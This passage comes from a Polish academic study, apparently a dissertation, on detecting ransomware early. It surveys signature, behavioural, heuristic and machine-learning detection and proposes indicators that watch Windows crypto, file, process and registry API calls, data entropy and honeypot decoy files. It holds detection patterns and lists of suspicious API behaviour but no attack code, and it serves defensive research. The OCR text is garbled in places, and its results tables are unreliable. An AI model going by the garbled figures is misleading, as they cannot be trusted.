e Konwersja zawartosci zbioru S}, (réznych podciggdw ciggu wejsciowego b) na liczby
catkowite z wykorzystaniem funkcji skrétu h(x). W wyniku otrzymujemy nowy
zbidr liczb catkowitych C;,.

e Utworzenie zbioru C[,‘ zawierajgcego k najmniejszych elementéw zbioru C,,.

e LZDJ,(x,y) - aproksymacja odlegtosci miedzy ciggami bajtéw x i y:

DIFF = LZD](x,y) = LZDJ,(x,y) =1 — J(Ck,C}
Celem normalizacji wartosci DIFF w stosunku do innych testowanych funkcji LSH,

przedstawione w ponizszych tabelach wartosci DIFF dla funkcji LZDJ pomnozone zostaty przez

100.
DIFF = DIFF * 100

Obliczona znormalizowana warto$¢ DIFF € {0,1,2,....,99,100}. Warto$¢ 100 oznacza,
ze poréwnywane dane sg identyczne (lub prawie identyczne). Wartos¢ 0 oznacza, ze dane s3

catkowicie rézne.
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VII.2Wyniki testéow

2
=) 2 2 | 2 | g 2 | g 2 | g
= | 2= | R| 2|2 2|/R| 2|2 2|/R|=|2 2|/_ |=|a 3
a 2 - Z %] - -~ Z %] - - Z %] - - Z %] -
i S Caty plik zaszyfrowany Poftowa pliku zaszyfrowana Zaszyfrowany pierwszy MB Zaszyfrowany ostatni MB
XLS 4 61 0 270 4 61 0 270
XLSX 13 51 0 226 13 51 0 226
PDF 13 48 0 246 13 48 0 246
PDF 13 47 0 276 13 47 0 276
DOC 1 60 0 237 1 60 0 237
<1MB Nie dotyczy
DOCX 13 46 0 258 13 46 0 258
PNG 13 52 0 282 13 52 0 282
JPG 13 45 0 296 13 45 0 296
EXE 9 67 0 324 9 67 0 324
PPTX 17 74 0 276 17 74 0 273
PDF 13 45 0 290 13 45 0 290 13 45 0 290 68 87 80 91
MP3 1 MB 16 74 0 350 16 74 0 350 16 74 0 350 68 87 88 50
>
MP4 6 53 0 216 6 53 0 216 6 53 0 216 82 100 97 123
JPG 13 64 0 326 13 64 0 326 13 64 0 326 68 79 83 65
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=]
=
> | 2 : - - : 2
= o) (a] 7] (a] n (a] 7] (a] n (a] 7] (a] n (a] 7] (a] )
o = N = 7)) - = 7)) - = 7)) -l = 7)) -l
a o i 2 7] - - 2 7] - - 2 7] - - 2 7] -
i S Caty plik zaszyfrowany Poftowa pliku zaszyfrowana Zaszyfrowany pierwszy MB Zaszyfrowany ostatni MB
EXE 10 72 0 319 10 72 0 319 10 72 0 326 95 99 97 9
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VIII Wybrane metody wykrywania ztosliwego
oprogramowania
Skuteczna detekcja ztosliwego oprogramowania, z punktu widzenia uzytkownika systemu
komputerowego, stanowi kluczowy element zapewniajacy bezpieczenstwo jemu, jego danym
oraz catemu ekosystemowi lokalnemu, w ktérym dany system komputerowy pracuje.
Na rynku dostepnych jest bardzo wiele programow, ktérych celem jest wykrywanie oraz
neutralizowanie zfosliwego oprogramowania. Zdecydowana wiekszos¢ znich wykrywa

ztosliwe oprogramowanie korzystajgc z metod takich jak:

e Metoda analizy sygnatur.

e Metoda analizy zachowania.
e Metody heurystyczne.

e Modelowanie.

e Metody bazujace na uczeniu maszynowym oraz sztucznej inteligencji.

W niniejszym rozdziale opisane zostaty gtdwne idee oraz najwazniejsze cechy

charakterystyczne powyzszych metod.

VIII.1 Metoda analizy sygnatur

Metoda analizy sygnatur (dopasowywania wzorcéw) jest od pewnego czasu jedna
z najczesciej stosowanych metod wykrywania ztosliwego oprogramowania®. Sygnatura
to unikalna cecha kazdego pliku, co$ w rodzaju odcisku palca pliku wykonywalnego. Metoda
analizy sygnatury wykorzystuje wzorce wyodrebnione na podstawie analizy roéznych
ztosliwych programoéw. Te wzorce wykorzystywane sg do ich identyfikacji. Metody
wykrywania ztosliwego oprogramowania bazujgce na analizie sygnatur sg bardziej wydajne
i szybsze niz jakiekolwiek inne metody. Sygnatury (wzorce) sg czesto wyodrebniane
z zachowaniem szczegdlnej wrazliwosci na unikalnos¢ danego oprogramowania, wiec metody
wykrywania, ktore wykorzystujg taka sygnature charakteryzujg sie niskim poziom btedu
(niewyrycia danego, wczesniej przeanalizowanego, ztosliwego oprogramowania). Ten

niewielki poziom btedu oraz duza szybkos¢ dziatania sprawiajg, ze metoda ta jest giéwnym

93 Z. Bazrafshan, H. Hashemi, S. M. H. Fard and A. Hamzeh, "A survey on heuristic malware detection
techniques," The 5th Conference on Information and Knowledge Technology, Shiraz, 2013, pp. 113-120, doi:
10.1109/IKT.2013.6620049
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sposobem wykrywania ztosliwego oprogramowania uzywanym przez wiekszos¢ popularnego
oprogramowania antywirusowego. Jednakze, metoda analizy sygnatur ma rowniez bardzo
powazng wade — nie jest w stanie wykry¢ nieznanych wariantéw ztosliwego oprogramowania.
Dodatkowo, metoda ta wymaga ciggtej aktualizacji bazy sygnatur (wzorcéw), przez co
generuje duze koszty biezgcej obstugi produktdw korzystajacych z niej. Brak aktualizacji bazy
sygnatur skutkuje brakiem wykrywania nowych, znanych, wersji wiruséw. Sg to gtéwne wady
metody analizy sygnatur. Koleja wadg jest niska skuteczno$¢ wykrywania ztosliwego
oprogramowania, ktére mutujg (modyfikujg swoje kody binarne) podczas kazdej infekcji

(oprogramowanie polimorficzne i metamorficzne)®.

Skuteczno$¢ dziatania metody analizy sygnatur zweryfikowana zostata w sposob
doéwiadczalny m.in. przez Omera Aslana®. Wykonat on poréwnanie statycznej analizy
oprogramowania oraz popularnych skaneréw antywirusowych w kontekscie wykrywania
ztosliwego oprogramowania. W opracowaniu pokazat m.in., ze w przypadku nieznanego
ztosliwego oprogramowania efektownos$¢ wykrywania przez popularne oprogramowanie
antywirusowe gwattownie spadta. W takim przypadku wskaznik wykrywalnosci spadf z 79% do
56%, awskaznik dokfadno$é z80% do 65%. Wyniki te pokazujg jednoznacznie,
ze oprogramowanie antywirusowe nie jest w stanie wykry¢ nieznanego zfosliwego

oprogramowania oraz nie jest skuteczne w przypadku atakéw typu zero-day®®.
Gtéwne zalety metody analizy sygnatur:

e Duza skutecznos¢ wykrywania ztosliwego oprogramowania, dla ktérego przygotowane
zostaty sygnatury (wzorce).

e Duza szybkos¢ dziatania.
Gtéwne wady metody analizy sygnatur:

e Niska skutecznos¢ wykrywania nieznanych wczesniej wersji  ztosliwego

oprogramowania.

%4 P. Berry, "Roznica miedzy wirusem polimorficznym a wirusem metamorficznym",
https://pl.strephonsays.com/difference-between-polymorphic-and-metamorphic-virus, (dostep 02.2023)

%5 A. Omer, "Performance Comparison of Static Malware Analysis Tools Versus Antivirus Scanners To Detect
Malware", International Multidisciplinary Studies Congress (IMSC), Akdeniz University, Antalya, Turkey, 25-
26 November 2017

% Zero-day (computing), Wikipedia, https://en.wikipedia.org/wiki/Zero-day (computing), (dostep 02.2023)
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e Niska skutecznos¢ wykrywania ztosliwego oprogramowania korzystajacego z technik
mutowania kodu.

e Duze koszty prowadzenia oraz zarzadzania aktualnoscig bazy sygnatur.

VIII.2 Metoda analizy zachowania (metoda behawioralna)

Metody behawioralne®” wykrywania ztosliwego oprogramowania polegajg w gtéwne;j
mierze na obserwacji oraz analizie zachowania procesdw uruchomionych w systemie. Ta
obserwacja oraz analiza majg za zadanie stwierdzi¢, czy dany proces moze by¢ czescig
zfosliwego oprogramowania czy tez nie. Zuwagi naten fakt, metody behawioralne
charakteryzujg sie wyzszg skutecznoscig wykrywania nieznanych wczesniej wersji ztosliwego
oprogramowania niz metody oparte o analize sygnatur. Mozna je z powodzeniem réwniez
wykorzystywa¢ do wykrywania ztosliwego oprogramowania korzystajacego ztechnik
mutowania kodu. Wynika to z faktu, iz mutacja dotyczy kodu oprogramowania, a nie sposobu
jego dziatania. Zachowanie toma nacelu ukrycie ztosliwego oprogramowania przed
wykryciem z wykorzystaniem metod analizy sygnatur. Dlatego tez metoda analizy zachowania
pomagaja w wykrywaniu zfosliwego oprogramowania, ktére nieustannie generuje nowe
mutacje swojego kodu — wszystkie mutacje bedg wykorzystywac zasoby systemowe i ustugi

w podobny sposdb. System detekcji korzystajacy z metod analizy zachowania sktadat sie z:

e Kolektora danych — komponent gromadzi dynamiczne/statyczne informacje o pliku
wykonywalnym oraz uruchomionym procesie.

e Interpretera —komponent przetwarza informacje zebrane przez kolektor danych.

e Matcher'a — komponent porownuje wyniki przetworzonych danych przez

interpreter ze wzorcami zachowan uznawanymi za szkodliwe.

Widzimy zatem, Zze metoda analizy zachowan rdéwniez w swoim dziafaniu bazuje
na wzorcach. W przeciwienstwie jednak do metody analizy sygnatur, metoda ta analizuje

wzorce zachowan proceséw, a nie wzorce ich kodu oraz struktury PE.
Istnieje wiele zachowan, ktére wskazujg na potencjalne niebezpieczenstwo:

e Proby wykrycia przez proces dziatania w srodowisku wirtualnym.

97 Z. Bazrafshan, H. Hashemi, S. M. H. Fard and A. Hamzeh, "A survey on heuristic malware detection
techniques," The 5th Conference on Information and Knowledge Technology, Shiraz, 2013, pp. 113-120, doi:
10.1109/IKT.2013.6620049
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e Proby wykrycia przez proces dziatania w srodowisku z nadzorowanym wykonaniem
kodu (debugger).

e Préby wykrycia przez proces dziatania w sSrodowisku izolowanym (sandbox).

e Proéby wytaczania innych proceséw systemowych.

e Proby wyfaczania ustug systemowych.

e Préby wytaczania mechanizméw systemowych (takich jak np. mechanizm UAC).

e Proby wytagczania programéw antywirusowych oraz innych mechanizméw kontroli
bezpieczenstwa.

e Préby modyfikacji konfiguracji uruchomieniowej lub innych plikéw inicjalizacyjnych
w celu zmiany rozruchu systemu.

e Proéby instalowania innego oprogramowania.

e Préby uruchamiania innego oprogramowania.

e Préby usuwania, zmieniania lub dodawania plikow systemowych.

e Préby modyfikowania innych programéw wykonywalnych.

e Préby nawigzania komunikacji sieciowej zzasobami uznanymi za potencjalnie
szkodliwe.

e Proéby szyfrowania plikdw.

e Préby dodawania, usuwania, modyfikowania kont uzytkownikéw oraz ich ustawien.

e Proby wstrzykiwania kodu w inne procesy uruchomione w systemie.

e Prdby korzystania z konsoli PowerShell lub terminala.
Do gtéwnych wad metody behawioralnej naleza:

e Brak mozliwosci analizy plikbw wykonywalnych (analiza dotyczy proceséw
uruchomionych w systemie).

e Przewaznie dfugi czas wykrywania aktywnosci ztosliwego oprogramowania
(zachowanie procesu musi zosta¢ dopasowane do wzorca).

e Mata skutecznos¢ w wykrywaniu atakow z wykorzystaniem metod typu zero-day (brak

wzorca zachowan dla tego typu atakow).
Do gtéwnych zalet metody behawioralnej naleza:

e Wyizsza skutecznos¢ (w stosunku do metody analizy sygnatur) wykrywania aktywnosci

ztosliwego oprogramowania korzystajacego z metod mutacji swojego kodu.
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e Mniejsze koszty (w stosunku do metody analizy sygnatur) prowadzenia oraz
zarzadzania aktualnoscig bazy wzorcéw zachowan (przewaznie pojedynczy wzorzec

jest w stanie wykry¢ wiele réznych wersji ztosliwego oprogramowania).

VIII.3 Metoda heurystyczna

Metody heurystyczne®® stanowia niejako potgczenie idei metod analizy sygnatur oraz
metod behawioralnych. W metodzie heurystycznej detektory wykorzystujg cechy zaréwno
statycznych sygnatur (metoda analizy sygnatur), jak iwzorce behawioralne. Metody
heurystyczne dodatkowo analizujg m.in. uzywane operandy, importowane biblioteki DLL, itp.
Co wiecej, metoda heurystyczna moze wykorzystywac algorytmy uczenia maszynowego do
trenowania, testowania, klasyfikowania oraz wykrywania ztosliwego oprogramowania.
Metoda ta charakteryzuje sie wyzszym od poprzednich metod wskaznikiem detekcji
ztosliwego oprogramowania typu zero-day. Przyktad metody heurystycznej przedstawiony
zostat m.in. przez Bazrafshana. Zaprezentowana heurystyczna metoda wykrywania korzystata
ze wzorcOw przygotowanych przez algorytmy uczenia maszynowego. Algorytmy te
analizowaty nastepujace cechy ztosliwego oprogramowania: wywotania API, CFG, N-gramy,

kody opcode i cechy hybrydowe.

VIIl.4 Modelowanie

Metoda modelowania do wykrywania ztosliwego oprogramowania wykorzystuje recznie
wyodrebniane cechy oraz grupy zachowan. Do ich opisu najczesciej stosuje sie liniowg logike
temporalng (LTL)*. Logika temporalna umozliwia rozwazanie zaleznosci czasowych
bez wprowadzania czasu jednoczesnie. Liniowa logika temporalna nalezy do najprostszych
logik temporalnych. Do modelowania zachowan uzywa ona dyskretnego i liniowego modelu
czasu. Zachowania ztosliwego oprogramowania sg tworzone poprzez analize relacji przeptywu
jednego lub wiecej wywotan systemowych. W analizie istotny element stanowig zachowania
noszgce witasnosci takie jak ukrywanie, rozprzestrzenianie i wstrzykiwanie. Poréwnujac te
zachowania okresla sie, czy dany proces jest czescig ztosliwego oprogramowania czy tez nie.

Na podstawie uzyskanych wynikdw analizy zachowan oraz logiki LTL, tworzy sie formalny

%8 Z. Bazrafshan, H. Hashemi, S. M. H. Fard and A. Hamzeh, "A survey on heuristic malware detection
techniques," The 5th Conference on Information and Knowledge Technology, Shiraz, 2013, pp. 113-120, doi:
10.1109/IKT.2013.6620049

9 Logika temporalna, Wikipedia, https://pl.wikipedia.org/wiki/Logika_temporalna, (dostep 02.2023)
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model opisujgcy ztosliwe oprogramowanie. Wykrywanie oparte nasprawdzaniu modeli
charakteryzuje sie, w stosunku do wczesniej opisywanych technik, wiekszg skutecznoscia
wykrywania nowych rodzajéow ztosliwego oprogramowania. Kinder at al. zaproponowali
uniwersalng metode wykrywania wzorcow ztosliwego kodu w plikach wykonywalnych poprzez
sprawdzanie zgodnosci z modelem opisanym®, Wprowadzili oni jezyk specyfikacji CTPL
(computation tree predicate logic), ktéry jest rozszerzeniem logiki CTL (computation tree
logic)!?l, oraz opisali algorytm weryfikacji zgodnosci z modelem. Wedtug autoréw, wyniki
testow wykazaty, ze proponowana metoda moze wykryé wiele wariantéw ztosliwego

oprogramowania za pomocg pojedynczego modelu.

VIII.5 Metody bazujgce na uczeniu maszynowym oraz sztuczne;
inteligencji
Metody bazujagce nauczeniu maszynowym oraz sztucznej inteligencji s3 obecnie
najaktywniej rozwijanymi technikami. Przyktadowo gtebokie uczenie maszynowe korzysta ze

sztucznych sieci neuronowych (ANN)02

i pozwala na nauke sieci bez nadzoru cztowieka,
czerpigc wiedze z danych, ktére sg zaréwno niestrukturalne oraz nieoznaczone. Gtebokie
uczenie maszynowe wykorzystuje sie gtdwnie do redukcji cech uzywanych w mechanizmach

wykrywania zto$liwego oprogramowania. Przyktadowo, Berman1®

przedstawit kilka réznych
sieci neuronowych, ktére zostaty wykorzystywane do wykrywania zfosliwego
oprogramowania. Wsrdd nich byty takie sieci jak gteboka sie¢ przekonan, rekurencyjna NN,
konwolucyjna NN, Generative Adversarial Network, Recursive NN. Bernam do nauki

wykorzystat rézne otwarte zbiory danych zawierajgce od 2 000 do 4 000 000 plikéw.

W wiekszosci przypadkdw w metodach tego typu do wykrywania ztosliwego
oprogramowania wykorzystuje sie rézne rodzaje algorytmow uczenia maszynowego oraz

sztucznej inteligencji. Algorytmy te uzywane sg do klasyfikacji i wykrywania malware.

100 j Kinder, S. Katzenbeisser, C. Schallhart, and H. Veith, “Detecting malicious code by model checking,” in
Proc. Int. Conf. Detection Intrusions Malware, Vulnerability Assessment. Berlin, Germany: Springer, 2005

01T ogika CTL, Wikipedia, https://pl.wikipedia.org/wiki/Logika_CTL, (dostep 02.2023)

102 Sztuczne sieci neuronowe, https://www.fuw.edu.pl/~durka/ksiazki/as/HTML/node42.html, (dostep 02.2023)
103 Berman, D.S.; Buczak, A.L.; Chavis, J.S.; Corbett, C.L. A Survey of Deep Learning Methods for Cyber
Security. Information 2019, 10, 122.
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IX Autorskie wskazniki wykrywania aktywnosci
ransomware

Na bazie przeprowadzonych w poprzednich rozdziatach analizach oraz uzyskanych
wynikach badan, utworzone zostaty wskazniki, ktérych celem jest wykrywanie aktywnosci
oprogramowania typu ransomware na wczesnym etapie jego dziatania. Wskazniki te zostaty
opisane w sposdb wysokopoziomowy. Szczegdty techniczne oraz wstepne okreslenie samych

poziomow weryfikacji okreslone zostaty w kolejnych rozdziatach.
Dla kazdego wskaznika okreslone zostaty nastepujace atrybuty:

e Nazwa wskaznika.

e Bazowy mechanizm — nawigzanie do przeprowadzonej powyzej analizy.

e |dea dziatania — zaktadany sposob dziatania.

e Poziom weryfikacji pozytywnej — poziom, dla ktérego proces uznawany jest
za bezpieczny.

e Poziom weryfikacji negatywnej — poziom, dla ktérego proces uznawany jest
niebezpieczny.

e Poziom ostrzegawczy — poziom, dla ktérego proces uznawany jest za potencjalnie

niebezpieczny.

W ogdlnym mechanizmie wykrywania aktywnosci oprogramowania typu ransomware
poziom ostrzegawczy moze petni¢ bardzo wazng funkcje — moze oznacza¢ miejsce graniczne
od ktérego dany proces bedzie podlegat poszerzonemu monitorowaniu oraz analizie. Dla
procesow, dla ktérych wskazniki bedg zwracaty wartosci ponizej poziomu ostrzegawczego
(poziom weryfikacji pozytywnej), bedzie mozna korzysta¢ zpodstawowych metod
monitorowania oraz analizy. Taki podziat pozwoli oszczedzi¢ zasoby oraz poprawi¢ komfort

pracy uzytkownika systemu komputerowego:

e Procesy, dla ktérych wskazniki sg ponizej poziomu ostrzegawczego beda podlegaty
podstawowemu monitoringowi oraz analizie — generuje to mafe obcigzenie dla
zasobow systemu komputerowego.

e Procesy, dla ktérych wskazniki przekroczg poziom ostrzegawczy beda podlegaty
rozszerzonemu monitoringowi oraz analizie — generuje to wieksze obcigzenie dla

zasobow systemu komputerowego.
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Na potrzeby wczesnej detekcji oprogramowania typu ransomware utworzone zostaty
wskazniki:

e Wskaznik wykorzystania API kryptograficznego.

e Wskaznik wykorzystania API plikowego.

e Wskaznik wykorzystania APl do obstugi watkdw oraz procesdw.

e Wskaznik wykorzystania funkcji API do modyfikacji ustawien systemowych.

e Wskaznik wykorzystania nietypowego API.

e Wskaznik zmian losowosci danych.

e Wskaznik zmian klasy abstrakcji.

e Wskaznik dostepu do putapek honeypot.

e Wskaznik zmian pufapek honeypot.

IX.1 Wskazniki
IX.1.1 Wskaznik wykorzystania APl kryptograficznego

Nazwa wskaznika | Wskaznik wykorzystania API kryptograficznego

Bazowy mechanizm | Monitorowanie  wywotan  funkcji do obstugi operacji
kryptograficznych udostepnianych przez APl systemu Windows.

Monitorowaniu powinny podlegac co najmniej wywotania:

e CryptAcquireContextW
e CryptDestroyKey

e CryptDuplicateKey

e CryptEncrypt

e CryptExportKey

e CryptGenKey

e CryptimportKey

e CryptReleaseContext

e CryptSetKeyParam
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Idea dziatania

Wskaznik powinien monitorowaé sposéb wykorzystania przez
proces wskazanych powyzej wywotan funkcji APl. Monitorowane

powinny by¢ m.in.:

e Sumaryczna liczba wywotan danej funkcji.
e Liczba wywotan danej funkcji w jednostce czasu.
e Zaleznosci czasowe pomiedzy wywotaniami.

e Zaleznosci logiczne pomiedzy wywotaniami.

Poziom weryfikacji

pozytywnej

e Proces korzysta rzadko z wymienionych powyzej funkcji.

e Sumaryczna liczba wywotan nie przekracza poziomu
ostrzegawczego.

e Zaleznosci czasowe pomiedzy wywofaniami nie

przekraczajg poziomu ostrzegawczego.

Poziom weryfikacji

negatywnej

e Proces korzysta czesto z wymienionych powyzej funkgji.

e Sumaryczna liczba wywotan przekracza poziom weryfikacji
negatywne;j.

e Zaleznosci czasowe pomiedzy wywotanymi przekraczajg

poziom weryfikacji negatywne;.

Poziom ostrzegawczy

e Proces korzysta czesto z wymienionych powyzej funkgcji.

e Sumaryczna liczba  wywotan  przekracza  poziom
ostrzegawczy.

e Zaleznosci czasowe pomiedzy wywotanymi przekraczajg

poziom ostrzegawczy.

IX.1.2 Wskaznik wykorzystania API plikowego

Nazwa wskaznika

Wskaznik wykorzystania API plikowego

Bazowy mechanizm

Monitorowanie  wywofan  funkcji do obstugi  operacji

na plikach/wolumenach udostepnianych przez APl systemu

191




Windows. Monitorowaniu powinny podlega¢ co

wywotania:

CopyFileW

CreateFileW

FindClose
FindFirstFileExW
FindFirstFileW
FindFirstVolumeW
FindNextFileW
FindNextVolumeW
FindVolumeClose
GetFileAttributesW
GetFileSizeEx
GetFileType
GetVolumelnformationW
GetVolumePathNamesForVolumeNameW
MoveFileExW

ReadFile
SetFileAttributesW
SetFilePointerEx
SetVolumeMountPointW

WriteFileCryptSetKeyParam

najmniej

Idea dziatania

Wskaznik powinien monitorowac¢ sposéb wykorzystania przez

proces wskazanych powyzej wywotan funkcji APl. Monitorowane

powinny by¢ m.in.:

Sumaryczna liczba wywotan danej funkgji.
Liczba wywotan danej funkcji w jednostce czasu.
Zaleznosci czasowe pomiedzy wywotaniami.

Zaleznosci logiczne pomiedzy wywofaniami.
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Poziom weryfikacji

pozytywnej

e Proces korzysta rzadko z wymienionych powyzej funkcji.

e Sumaryczna liczba wywotan nie przekracza poziomu
ostrzegawczego.

e Zaleznosci czasowe pomiedzy wywotaniami  nie

przekraczajg poziomu ostrzegawczego.

Poziom weryfikacji

negatywnej

e Proces korzysta czesto z wymienionych powyzej funkgcji.

e Sumaryczna liczba wywotan przekracza poziom weryfikacji
negatywne;.

e Zaleznosci czasowe pomiedzy wywofanymi przekraczaja

poziom weryfikacji negatywne;.

Poziom ostrzegawczy

e Proces korzysta czesto z wymienionych powyzej funkgcji.

e Sumaryczna liczba  wywotan  przekracza  poziom
ostrzegawczy.

e Zaleznosci czasowe pomiedzy wywofanymi przekraczaja

poziom ostrzegawczy.

IX.1.3 Wskaznik wykorzystania APl do obstugi watkéw oraz proceséw

Nazwa wskaznika

Wskaznik wykorzystania API do obstugi watkdw oraz procesow

Bazowy mechanizm

Monitorowanie  wywotan  funkcji do obstugi operacji
na watkach/procesach udostepnianych przez APl systemu
Windows. Monitorowaniu powinny podlega¢ co najmniej

wywotania:

e CreateThread

ExitProcess

e ExitThread

e GetCurrentProcess

e GetCurrentProcessld
e GetCurrentThread

e GetCurrentThreadld
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e GetExitCodeThread

e GetProcessAffinityMask
e GetProcessHeap

e GetThreadContext

e GetThreadPriority

e GetThreadTimes

e OpenProcess

e OpenProcessToken

e Process32FirstW

e Process32NextW

e SetThreadAffinityMask
e SetThreadPriority

e TerminateProcess

Idea dziatania

Wskaznik powinien monitorowaé sposéb wykorzystania przez
proces wskazanych powyzej wywotan funkcji APl. Monitorowane

powinny by¢ m.in.:

e Sumaryczna liczba wywotan danej funkcji.
e Liczba wywotan danej funkcji w jednostce czasu.
e Zaleznosci czasowe pomiedzy wywotaniami.

e Zaleznosci logiczne pomiedzy wywotaniami.

Poziom weryfikacji

pozytywnej

e Proces korzysta rzadko z wymienionych powyzej funkcji.

e Sumaryczna liczba wywotan nie przekracza poziomu
ostrzegawczego.

e Zaleznosci czasowe pomiedzy wywofaniami nie

przekraczajg poziomu ostrzegawczego.

Poziom weryfikacji

negatywnej

e Proces korzysta czesto z wymienionych powyzej funkgcji.
e Sumaryczna liczba wywotan przekracza poziom weryfikacji

negatywne;.
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e Zaleznosci czasowe pomiedzy wywotanymi przekraczajg

poziom weryfikacji negatywne;.

Poziom ostrzegawczy

e Proces korzysta czesto z wymienionych powyzej funkgcji.

e Sumaryczna liczba wywofan  przekracza poziom
ostrzegawczy.

e Zaleznosci czasowe pomiedzy wywotanymi przekraczajg

poziom ostrzegawczy.

IX.1.4 Wskaznik wykorzystania funkcji APl do modyfikacji ustawien

systemowych

Nazwa wskaznika

Wskaznik wykorzystania funkcji APl do modyfikacji ustawien

systemowych

Bazowy mechanizm

Monitorowanie wywotan funkcji do modyfikacji ustawien
systemowych udostepnianych przez APl systemu Windows.

Monitorowaniu powinny podlegac co najmniej wywotania:

e GetCommandLineW

e GetComputerNameA

e GetDateFormatW

e GetDiskFreeSpaceW

e GetEnvironmentStringsW
e GetEnvironmentVariableWw
e GetStartupinfoW

e GetSystemlinfo

e |IsProcessorFeaturePresent
e [sValidCodePage

o RegCloseKey

e RegOpenKeyExW

e RegSetValueExW
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Idea dziatania

Wskaznik powinien monitorowaé¢ sposéb wykorzystania przez
proces wskazanych powyzej wywotan funkcji API. Monitorowane

powinny by¢ m.in.:

e Kazde wywotanie danej funkcji.

e Sumaryczna liczba wywotan danej funkcji.

e Liczba wywotan danej funkcji w jednostce czasu.
e Zaleznosci czasowe pomiedzy wywotaniami.

e Zaleznosci logiczne pomiedzy wywotaniami.

Poziom weryfikacji

pozytywnej

e Proces nie korzysta z wymienionych powyzej funkcji.

Poziom weryfikacji

negatywnej

e Proces korzysta z wymienionych powyzej funkcji.

e Sumaryczna liczba wywotan przekracza poziom weryfikacji
negatywne;.

e Zaleznosci czasowe pomiedzy wywotaniami przekraczaja

poziom weryfikacji negatywne;.

Poziom ostrzegawczy

e Proces korzysta z wymienionych powyzej funkcji.

e Sumaryczna liczba  wywofan  przekracza poziom
ostrzegawczy.

e Zaleznosci czasowe pomiedzy wywotaniami przekraczaja

poziom ostrzegawczy.

IX.1.5 Wskaznik wykorzystania nietypowego API

Nazwa wskaznika

Wskaznik wykorzystania nietypowego API

Bazowy mechanizm

Monitorowanie nietypowych (rzadko uzywanych
w oprogramowaniu)  wywotan APl  systemu  Windows.

Monitorowaniu powinny podlegac co najmniej wywotania:

e AdjustTokenPrivileges
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e CheckRemoteDebuggerPresent
e GetCommandLineA

e GetCommandLineW

e GetlocalelnfoA

e GetlocalelnfoW

e GetProcAddress

e IsDebuggerPresent

e [sProcessorFeaturePresent
e [sValidCodePage

e IsValidLocale

e LoadLibraryExW

e LoadLibraryWw

Idea dziatania

Wskaznik powinien monitorowac¢ sposdb wykorzystania przez
proces wskazanych powyzej wywofan funkcji APl. Monitorowane

powinny by¢ m.in.:

e Kazde wywotanie danej funkcji

Poziom weryfikacji

pozytywnej

Proces nie korzysta z monitowanych funkcji API

Poziom ostrzegawczy

Proces korzysta z monitowanych funkcji API

IX.1.6 Wskaznik zmian losowosci danych

Nazwa wskaznika

Wskaznik zmian poziomu losowosci danych

Bazowy mechanizm

Poziom losowosci danych w pliku moze poméc okresli¢, czy dane
zostaty zaszyfrowane. Zaszyfrowane dane charakteryzujg sie

duzym poziomem losowosci.

Idea dziatania

Wskaznik monitoruje poziom losowosci w plikach, ktérych

zawartosc¢ zostata zmieniona.
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Poziom weryfikacji

pozytywnej

Nie nastgpita zmiana poziomu losowosci lub poziom ten ulegt

zmniejszeniu.

Poziom weryfikacji

negatywnej

Nastgpita zmiana poziomu losowosci danych w pliku — nastgpit

istotny wzrost poziomu losowosci danych.

Poziom ostrzegawczy

Nastgpita zmiana poziomu losowosci danych w pliku — nastgpit

wzrost poziomu losowosci danych.

IX.1.7 Wskaznik zmian klasy abstrakcji

Nazwa wskaznika

Wskaznik zmian klasy abstrakcji

Bazowy mechanizm

Funkcje haszujace typu LSH pozwalajg okresli¢ zbior klas abstrakcji
i przypisywac¢ do nich (kategoryzowac) analizowane dane. Do
jednej klasy abstrakcji beda naleze¢ dane, ktére roznig sie
w niewielki sposéb (np. kolejne zapisywane zmiany w pliku

tekstowym).

Idea dziatania

Wskaznik monitoruje czy po zmianach w danych nie zmieniona

zostata klasa abstrakcji, do ktdrej nalezat plik przed zmianami.

Poziom weryfikacji

pozytywnej

Nie nastgpita zmiana klasy abstrakgji.

Poziom weryfikacji

negatywnej

Nastgpita zmiana klasy abstrakcji ipoziom roéznic pomiedzy
danymi oryginalnymi oraz zmodyfikowanymi okreslony zostat jako

istotny.

Poziom ostrzegawczy

Nastgpita zmiana klasy abstrakcji.

IX.1.8 Wskaznik dostepu do putapek honeypot

Nazwa wskaznika

Wskaznik dostepu do putapek

Bazowy mechanizm

Wskaznik ten korzystat bedzie z idei putapek honeypot.

Idea dziatania

W systemie uzytkownika umieszczonych zostanie wiele plikdow

putapek (decoy files). Pliki te bedg plikami o typach najczesciej
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atakowanych przez ransomware (np. arkusze kalkulacyjne,
dokumenty tekstowe, zdjecia). Wskaznik bedzie monitorowat

préby dostepu (np. otwarcie, odczyt) do tych plikow.

Poziom weryfikacji

pozytywnej

Brak préb dostepu do plikéw putapek.

Poziom weryfikacji

negatywnej

Wykryto préby dostepu do plikdw putapek.

IX.1.9 Wskaznik zmian putapek honeypot

Nazwa wskaznika

Wskaznik zmian putapek

Bazowy mechanizm

Wskaznik ten korzystat bedzie z idei putapek honeypot.

Idea dziatania

W systemie uzytkownika umieszczonych zostanie wiele plikdow
putapek (decoy files). Pliki te bedg plikami o typach najczesciej
atakowanych przez ransomware (np. arkusze kalkulacyjne,
dokumenty tekstowe, zdjecia). Wskaznik bedzie monitorowat

zmiany danych w plikach putapkach.

Poziom weryfikacji

pozytywnej

Brak zmian w danych w plikach putapkach.

Poziom weryfikacji

negatywnej

Wykryto zmiany danych w plikach putapkach.
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IX.2 Ogdlna specyfikacja techniczna wskaznikow wykorzystania API

Idea mechanizmu detekcji oprogramowania typu ransomware bazuje na wykorzystaniu
wielu rodzajéw wskaznikow, ktérych zadaniem bedzie ciggta analiza procesdéw, zasobdw oraz
stanu systemu. Duza cze$é wskaznikdw monitorowata bedzie wykorzystanie réznego rodzaju
funkcji APl udostepnianych przez system Windows. Z technicznego punktu widzenia wskazniki
te beda posiadaty wiele wspdlnych elementéw implementacji. Dlatego tez w niniejszym
rozdziale opisana zostata ogdlna specyfikacja techniczna dla wskaznikdw monitorujgcych
wykorzystanie API. Wskazane zostaty zalecane metody oraz sposoby przeprowadzania
monitorowania. Specyfikacja ta wykorzystana zostata do zaimplementowania prototypowych

wersji wskaznikow.

Gtéwnym celem wskaznika do monitorowania wywofan funkcji APl jest uzyskanie

informacji z jakich funkcji APl systemu Windows dany proces korzysta w danym momencie.
Dodatkowe cele wskaznika:

e Uzyskanie informacji o wartosci przekazywanych argumentéw do funkcji API.
e Uzyskanie informacji o wartosci zwracanych przez funkcje API.
e Mozliwos¢ zmiany wartosci argumentéw przekazywanych do funkcji API.

e Mozliwos¢ zmiany wartos$ci zwracanej przez funkcje API do procesu.

1X.2.1 SetWindowsHookExA

System Windows udostepnia API, ktére moze zosta¢ wykorzystane to utworzenia tzn. API
Hook!%*, Utworzenie APl Hook na wybrane wywotanie API systemu Windows powoduje de
